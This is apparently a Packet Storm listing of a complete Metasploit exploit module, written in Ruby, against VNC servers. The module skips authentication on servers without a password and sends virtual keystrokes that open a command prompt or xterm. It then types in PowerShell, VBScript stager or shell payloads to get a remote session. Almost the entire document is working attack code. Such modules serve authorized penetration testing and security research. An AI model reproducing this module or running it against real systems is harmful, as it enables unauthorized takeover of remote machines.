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VNC Keyboard Remote Code Execution

🗓️ 13 Jul 2015 00:00:00Reported by xistenceType 
packetstorm
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This module exploits VNC servers by sending virtual keyboard keys and executing a payload. It opens commands prompt for Windows and xterm for Unix/Linux systems

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/proto/rfb'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = GreatRanking  
WINDOWS_KEY = "\xff\xeb"  
ENTER_KEY = "\xff\x0d"  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VNC Keyboard Remote Code Execution',  
'Description' => %q{  
This module exploits VNC servers by sending virtual keyboard keys and executing  
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager  
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened  
and a payload is typed and executed.  
},  
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],  
'Privileged' => false,  
'License' => MSF_LICENSE,  
'Platform' => %w{ win unix },  
'Targets' =>  
[  
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],  
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],  
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]  
],  
'References' =>  
[  
[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']  
],  
'DisclosureDate' => 'Jul 10 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(5900),  
OptString.new('PASSWORD', [ false, 'The VNC password']),  
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])  
], self.class)  
end  
  
  
def press_key(key)  
keyboard_key = "\x04\x01" # Press key  
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data  
keyboard_key << key # The keyboard key  
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream  
sock.put(keyboard_key)  
end  
  
  
def release_key(key)  
keyboard_key = "\x04\x00" # Release key  
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data  
keyboard_key << key # The keyboard key  
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream  
sock.put(keyboard_key)  
end  
  
  
def exec_command(command)  
values = command.chars.to_a  
values.each do |value|  
press_key("\x00#{value}")  
release_key("\x00#{value}")  
end  
press_key(ENTER_KEY)  
end  
  
  
def start_cmd_prompt  
print_status("#{rhost}:#{rport} - Opening Run command")  
# Pressing and holding windows key for 1 second  
press_key(WINDOWS_KEY)  
Rex.select(nil, nil, nil, 1)  
# Press the "r" key  
press_key("\x00r")  
# Now we can release both keys again  
release_key("\x00r")  
release_key(WINDOWS_KEY)  
# Wait a second to open run command window  
select(nil, nil, nil, 1)  
exec_command('cmd.exe')  
# Wait a second for cmd.exe prompt to open  
Rex.select(nil, nil, nil, 1)  
end  
  
  
def exploit  
  
begin  
alt_key = "\xff\xe9"  
f2_key = "\xff\xbf"  
password = datastore['PASSWORD']  
  
connect  
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)  
  
unless vnc.handshake  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")  
end  
  
if password.nil?  
print_status("#{rhost}:#{rport} - Bypass authentication")  
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)  
sock.put("\x10")  
else  
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")  
if vnc.authenticate(password)  
print_status("#{rhost}:#{rport} - Authenticated")  
else  
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")  
end  
end  
  
# Send shared desktop  
unless vnc.send_client_init  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")  
end  
  
if target.name =~ /VBScript CMDStager/  
start_cmd_prompt  
print_status("#{rhost}:#{rport} - Typing and executing payload")  
execute_cmdstager({:flavor => :vbs, :linemax => 8100})  
# Exit the CMD prompt  
exec_command('exit')  
elsif target.name =~ /Powershell/  
start_cmd_prompt  
print_status("#{rhost}:#{rport} - Typing and executing payload")  
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})  
# Execute powershell payload and make sure we exit our CMD prompt  
exec_command("#{command} && exit")  
elsif target.name =~ /Linux/  
print_status("#{rhost}:#{rport} - Opening 'Run Application'")  
# Press the ALT key and hold it for a second  
press_key(alt_key)  
Rex.select(nil, nil, nil, 1)  
# Press F2 to start up "Run application"  
press_key(f2_key)  
# Release ALT + F2  
release_key(alt_key)  
release_key(f2_key)  
# Wait a second for "Run application" to start  
Rex.select(nil, nil, nil, 1)  
# Start a xterm window  
print_status("#{rhost}:#{rport} - Opening xterm")  
exec_command('xterm')  
# Wait a second for "xterm" to start  
Rex.select(nil, nil, nil, 1)  
# Execute our payload and exit (close) the xterm window  
print_status("#{rhost}:#{rport} - Typing and executing payload")  
exec_command("nohup #{payload.encoded} &")  
exec_command('exit')  
end  
  
print_status("#{rhost}:#{rport} - Waiting for session...")  
(datastore['TIME_WAIT']).times do  
Rex.sleep(1)  
  
# Success! session is here!  
break if session_created?  
end  
  
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")  
ensure  
disconnect  
end  
end  
  
def execute_command(cmd, opts = {})  
exec_command(cmd)  
end  
  
end  
  
`

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